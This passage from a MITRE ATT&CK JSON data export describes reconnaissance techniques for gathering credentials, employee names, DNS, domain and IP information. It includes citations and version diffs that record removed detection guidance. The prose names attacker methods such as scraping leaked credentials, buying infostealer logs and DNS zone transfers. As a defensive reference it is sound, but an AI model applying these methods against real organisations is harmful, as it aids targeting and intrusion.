Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1589",
"external_id": "T1589"
},
{
"source_name": "OPM Leak",
"description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.",
"url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/"
},
{
"source_name": "Detectify Slack Tokens",
"description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved November 17, 2024.",
"url": "https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/"
},
{
"source_name": "GitHub truffleHog",
"description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.",
"url": "https://github.com/dxa4481/truffleHog"
},
{
"source_name": "GrimBlog UsernameEnum",
"description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.",
"url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/"
},
{
"source_name": "Register Uber",
"description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.",
"url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"
},
{
"source_name": "GitHub Gitrob",
"description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.",
"url": "https://github.com/michenriksen/gitrob"
},
{
"source_name": "CNET Leaks",
"description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
"url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"
},
{
"source_name": "Obsidian SSPR Abuse 2023",
"description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.",
"url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"
},
{
"source_name": "Forbes GitHub Creds",
"description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.",
"url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"
},
{
"source_name": "Register Deloitte",
"description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.",
"url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)",
"Obsidian Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:47.303000+00:00\", \"old_value\": \"2025-04-15 22:37:47.951000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0841: Detection of Gather Victim Identity Information"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 14:55:43.815000+00:00",
"modified": "2025-10-24 17:49:18.246000+00:00",
"name": "Credentials",
"description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\n\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1589/001",
"external_id": "T1589.001"
},
{
"source_name": "Bleeping Computer 2easy 2021",
"description": "Bill Toulas. (2021, December 21). 2easy now a significant dark web marketplace for stolen data. Retrieved October 7, 2024.",
"url": "https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/"
},
{
"source_name": "ATT ScanBox",
"description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
"url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
},
{
"source_name": "Detectify Slack Tokens",
"description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved November 17, 2024.",
"url": "https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/"
},
{
"source_name": "GitHub truffleHog",
"description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.",
"url": "https://github.com/dxa4481/truffleHog"
},
{
"source_name": "Bleeping Computer Stealer Logs 2023",
"description": "Flare. (2023, June 6). Dissecting the Dark Web Supply Chain: Stealer Logs in Context. Retrieved October 10, 2024.",
"url": "https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/"
},
{
"source_name": "Register Uber",
"description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.",
"url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"
},
{
"source_name": "GitHub Gitrob",
"description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.",
"url": "https://github.com/michenriksen/gitrob"
},
{
"source_name": "CNET Leaks",
"description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
"url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"
},
{
"source_name": "Okta Scatter Swine 2022",
"description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.",
"url": "https://sec.okta.com/scatterswine"
},
{
"source_name": "Forbes GitHub Creds",
"description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.",
"url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"
},
{
"source_name": "SecureWorks Infostealers 2023",
"description": "SecureWorks Counter Threat Unit Research Team. (2023, May 16). The Growing Threat from Infostealers. Retrieved October 10, 2024.",
"url": "https://www.secureworks.com/research/the-growing-threat-from-infostealers"
},
{
"source_name": "Register Deloitte",
"description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.",
"url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Vinayak Wadhwa, Lucideus",
"Lee Christensen, SpecterOps",
"Toby Kohlenberg",
"Massimo Giaimo, W\u00fcrth Group Cyber Defence Center"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.246000+00:00\", \"old_value\": \"2025-04-15 22:11:53.342000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0813: Detection of Credentials"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 14:57:15.906000+00:00",
"modified": "2025-10-24 17:48:57.975000+00:00",
"name": "Employee Names",
"description": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1589/003",
"external_id": "T1589.003"
},
{
"source_name": "OPM Leak",
"description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.",
"url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.975000+00:00\", \"old_value\": \"2025-04-15 22:27:33.795000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0857: Detection of Employee Names"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 15:45:17.628000+00:00",
"modified": "2025-10-24 17:49:08.938000+00:00",
"name": "Gather Victim Network Information",
"description": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590",
"external_id": "T1590"
},
{
"source_name": "Circl Passive DNS",
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"url": "https://www.circl.lu/services/passive-dns/"
},
{
"source_name": "DNS Dumpster",
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"url": "https://dnsdumpster.com/"
},
{
"source_name": "WHOIS",
"description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
"url": "https://who.is/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.938000+00:00\", \"old_value\": \"2025-04-15 22:38:13.461000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0869: Detection of Gather Victim Network Information"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 15:47:10.102000+00:00",
"modified": "2025-10-24 17:48:24.404000+00:00",
"name": "DNS",
"description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590/002",
"external_id": "T1590.002"
},
{
"source_name": "Circl Passive DNS",
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"url": "https://www.circl.lu/services/passive-dns/"
},
{
"source_name": "DNS-CISA",
"description": "CISA. (2016, September 29). DNS Zone Transfer AXFR Requests May Leak Domain Information. Retrieved June 5, 2024.",
"url": "https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information"
},
{
"source_name": "DNS Dumpster",
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"url": "https://dnsdumpster.com/"
},
{
"source_name": "Alexa-dns",
"description": "Scanning Alexa's Top 1M for AXFR. (2015, March 29). Retrieved June 5, 2024.",
"url": "https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/"
},
{
"source_name": "Sean Metcalf Twitter DNS Records",
"description": "Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved September 12, 2024.",
"url": "https://x.com/PyroTek3/status/1126487227712921600"
},
{
"source_name": "Trails-DNS",
"description": "SecurityTrails. (2018, March 14). Wrong Bind Configuration Exposes the Complete List of Russian TLD's to the Internet. Retrieved June 5, 2024.",
"url": "https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.404000+00:00\", \"old_value\": \"2025-04-15 22:13:37.080000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0843: Detection of DNS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 15:46:24.670000+00:00",
"modified": "2025-10-24 17:49:31.581000+00:00",
"name": "Domain Properties",
"description": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590/001",
"external_id": "T1590.001"
},
{
"source_name": "Circl Passive DNS",
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"url": "https://www.circl.lu/services/passive-dns/"
},
{
"source_name": "Azure Active Directory Reconnaisance",
"description": "Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.",
"url": "https://o365blog.com/post/just-looking/"
},
{
"source_name": "DNS Dumpster",
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"url": "https://dnsdumpster.com/"
},
{
"source_name": "Office 265 Azure Domain Availability",
"description": "Microsoft. (2017, January 23). (Cloud) Tip of the Day: Advanced way to check domain availability for Office 365 and Azure. Retrieved May 27, 2022.",
"url": "https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure"
},
{
"source_name": "WHOIS",
"description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
"url": "https://who.is/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.581000+00:00\", \"old_value\": \"2025-04-15 22:22:22.764000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0847: Detection of Domain Properties"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 15:59:11.695000+00:00",
"modified": "2025-10-24 17:48:23.845000+00:00",
"name": "IP Addresses",
"description": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590/005",
"external_id": "T1590.005"
},
{
